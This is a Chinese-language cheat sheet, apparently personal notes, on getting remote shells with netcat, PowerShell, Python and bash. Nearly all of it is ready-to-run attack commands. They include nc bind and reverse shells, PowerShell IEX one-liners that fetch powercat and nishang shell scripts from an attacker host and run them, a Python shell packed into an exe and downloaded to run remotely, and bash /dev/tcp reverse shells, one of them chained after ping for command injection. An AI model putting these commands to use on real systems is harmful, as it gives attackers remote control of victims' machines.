一、正向连接
(攻击机主动连接被攻击机,通常用于被攻击机有公网IP可以直接访问的情况)
1、linux(攻击者)主动连接 windows(受害者)
// 绑定 cmd 到本地 6999 端口
windows:nc -e cmd -lvp 6999
// 主动连接目标 6999 端口
linux:nc 目标主机ip 6999
注意:有时候会出现乱码,此时使用:
chcp 65001 // utf-8 编码
2、windows(攻击者)主动连接 linux(受害者)
// 绑定 /bin/bash 到 6999 端口
linux:nc -e /bin/bash -lvp 6999
// 主动连接目标 6999 端口
windows:nc 目标主机ip 6999
注意:有些版本的 linux 的 nc 为了安全会不带有 -e 参数(比如 ubuntu)
二、反向连接
(被攻击机主动连接攻击机,通常用于被攻击机处于内网且出网的情况)
1、linux(受害者)主动连接 windows(攻击者)
// 监听 6999 端口,等待连接
nc -lvp 6999
// 绑定 /bin/bash 到对方主机 6999 端口
nc -e /bin/bash 目标主机ip地址 6999
2、linux 控制 windows
// 监听 6999 端口,等待连接
nc -lvp 6999
// 绑定 cmd 到对方主机 6999 端口
nc -e cmd 目标主机ip地址 6999
注意:nc -lvp 6666 若报错 :nc: getnameinfo: Temporary failure in name resolution
改为 nc -lvnp 6666
-n
选项用于指定不执行主机名解析,将目标IP地址显示为IP地址而不是主机名
三、更多反弹 shell 的操作
3.1 powershell 反弹 shell
1、使用 python 开启服务器
sudo python -m http.server 7788
2、使用 nc 开启监听端口
nc -lvp 5566
3、上传工具并执行命令,反向连接攻击者主机
powershell IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.103.130:7788/powercat.ps1');powercat -c 192.168.103.130 -p 5566 -e cmd
3.2 nishang反弹shell
1、使用 python 开启服务器
sudo python -m http.server 7788
2、 使用 nc 开启监听端口
nc -lvp 5566
3、上传工具并执行命令,反向连接攻击者主机
powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.103.130:7788/nishang/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.103.130 -port 5566
4、对于 udp
nc -lvup 53
5、使用 python 开启服务器
sudo python -m http.server 7788
6、上传工具并执行命令,反向连接攻击者主机
powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.103.130:7788/nishang/Shells/Invoke-PowerShellUdp.ps1');Invoke-PowerShellUdp -Reverse -IPAddress 192.168.103.130 -port 53
3.3 python 反弹 shell
1、判断是否能执行 python 脚本
2、nc 开启监听
nc -lvnp 5566
3、若是直接运行 .py 文件
python pycat.py --host 192.168.0.195 --port 5566
4、把 .py 文件打包为 .exe 文件就可以直接执行了
(1)先安装 pyinstaller
(2)pip install pyinstaller
(3)pyinstaller -Fw pycat.py
5、远程下载并执行:
powershell IEX (New-Object Net.WebClient).DownloadFile('http://192.168.103.130:7788/pycat.exe', 'C:\ProgramData\pycat.exe'); Start-Process 'C:\ProgramData\pycat.exe' --host 192.168.103.130 --port 5566
我没有成功,只下载了文件,但是没有执行。
补充:不使用 nc 的情况:
1、bash -i >& /dev/tcp/192.168.103.130/5566 0>&1
使用多条语句的时候:
ping 127.0.0.1 | /bin/bash -c 'bash -i >& /dev/tcp/192.168.103.130/5566 0>&1'